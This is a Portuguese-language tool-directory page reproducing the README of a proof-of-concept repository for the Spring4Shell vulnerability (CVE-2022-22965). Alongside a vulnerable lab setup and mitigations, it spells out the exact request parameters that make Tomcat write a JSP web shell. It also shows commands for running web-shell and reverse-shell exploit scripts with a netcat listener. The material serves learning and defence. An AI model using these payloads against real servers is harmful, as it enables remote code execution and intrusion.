Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
PoC-CVE-2022-22965-Spring4Shell — Descrição | Kitploit
Ferramentas/GitHubGitHub/march0n/poc-cve-2022-22965-spring4shell
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHub

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
march0n/poc-cve-2022-22965-spring4shell

PoC-CVE-2022-22965-Spring4Shell

Descrição

Ver Repositório
3há 4 mesesAinda não revisado
Compartilhar

PoC — CVE-2022-22965 (Spring4Shell)

Aviso legal: Este repositório destina-se exclusivamente a fins educacionais e de pesquisa. Todos os scripts de exploit devem ser usados apenas contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar. O autor não é responsável por qualquer uso indevido ou dano causado por este material.

Estudo e prova de conceito para CVE-2022-22965, uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Spring Framework, divulgada publicamente em abril de 2022.


Visão Geral da Vulnerabilidade

Spring4Shell afeta aplicações Spring MVC e Spring WebFlux quando todas as seguintes condições são atendidas:

CondiçãoValor
Versão do JDK9 ou superior
Servidor de aplicaçõesApache Tomcat
EmpacotamentoWAR (não JAR executável)
Spring Framework< 5.3.18 ou < 5.2.20

Como funciona

O mecanismo de ligação de dados (data binding) do Spring permite que parâmetros de requisição HTTP sejam mapeados para propriedades de objetos Java usando notação de ponto (por exemplo, user.name=foo). A vulnerabilidade surge porque essa travessia não é restringida adequadamente — um atacante pode alcançar o ClassLoader da JVM através da hierarquia de classes do objeto modelo:

class.module.classLoader.resources.context.parent.pipeline.first.<property>

Esse caminho alcança o AccessLogValve do Tomcat, cuja configuração de logging pode ser manipulada em tempo de execução. Ao modificar propriedades como pattern, directory, prefix e suffix, o atacante redireciona o log de acesso do Tomcat para gravar um arquivo com extensão .jsp contendo código JSP arbitrário — efetivamente instalando um web shell no servidor.

Fluxo de ataque

1. POST /vulnerable
   class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
   class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
   class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
   class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
   class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload

3. GET /shell.jsp?cmd=id  →  RCE

Estrutura do Repositório

.
├── exploits/
│   ├── exploit1.py   # POST-based web shell with password protection
│   ├── exploit2.py   # POST-based web shell with reset capability
│   ├── exploit3.py   # GET-based variant (simplified)
│   ├── exploit4.py   # Reverse TCP shell (GET-based)
│   └── exploit4b.py  # Reverse TCP shell (POST-based)
└── springmvc5-helloworld-example/
    ├── Dockerfile    # Uses pre-built tomcat:9.0.60 image
    ├── Dockerfile2   # Builds from openjdk:11 + downloads Tomcat
    ├── pom.xml       # Maven project — Spring MVC 5.3.17 (vulnerable)
    └── src/          # Vulnerable Spring MVC application source

Variantes de Exploit

ScriptMétodoPayloadNotas
exploit1.pyPOSTWeb shell (protegido por senha)Requisição única
exploit2.pyPOSTWeb shellRedefine a configuração de log antes/depois do exploit
exploit3.pyGETWeb shell (sem senha)Parâmetros via query string
exploit4.pyGETReverse TCP shellPayload JSP baseado em msfvenom
exploit4b.pyPOSTReverse TCP shellMesmo payload do exploit4, variante POST

Exemplo de uso

# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable

# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444

Configuração do Laboratório

Pré-requisitos

  • Java 11+
  • Maven (sudo apt install maven ou sudo dnf install maven)
  • Docker (opcional, recomendado)

Compilar

cd springmvc5-helloworld-example
mvn clean package

Executar com Docker

# Option 1 — pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell

# Option 2 — build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell

A aplicação estará então disponível em http://localhost:8082/vulnerable.


Mitigação

  • Atualize o Spring Framework para 5.3.18+ ou 5.2.20+
  • Atualize o Spring Boot para 2.6.6+ ou 2.5.12+
  • Se não for possível atualizar imediatamente:
    • Faça downgrade para JDK 8
    • Use WebDataBinder.setDisallowedFields() para bloquear a ligação de classLoader
    • Implante uma regra de WAF bloqueando parâmetros que contenham class., Class., module. ou classLoader

Créditos

Pesquisa original e código de exploit por @march0n. Este repositório é um estudo pessoal da vulnerabilidade para fins de aprendizado, com documentação e análise adicionais.


Referências

  • CVE-2010-1622 — exploit original do Spring ClassLoader (2010)
  • Divulgação inicial em chinês (Weixin)
  • Blog de Segurança da Microsoft — orientações sobre SpringShell
  • LunaSec — Análise das vulnerabilidades RCE do Spring
  • Palo Alto Unit 42 — Análise aprofundada do CVE-2022-22965
Baixar ferramenta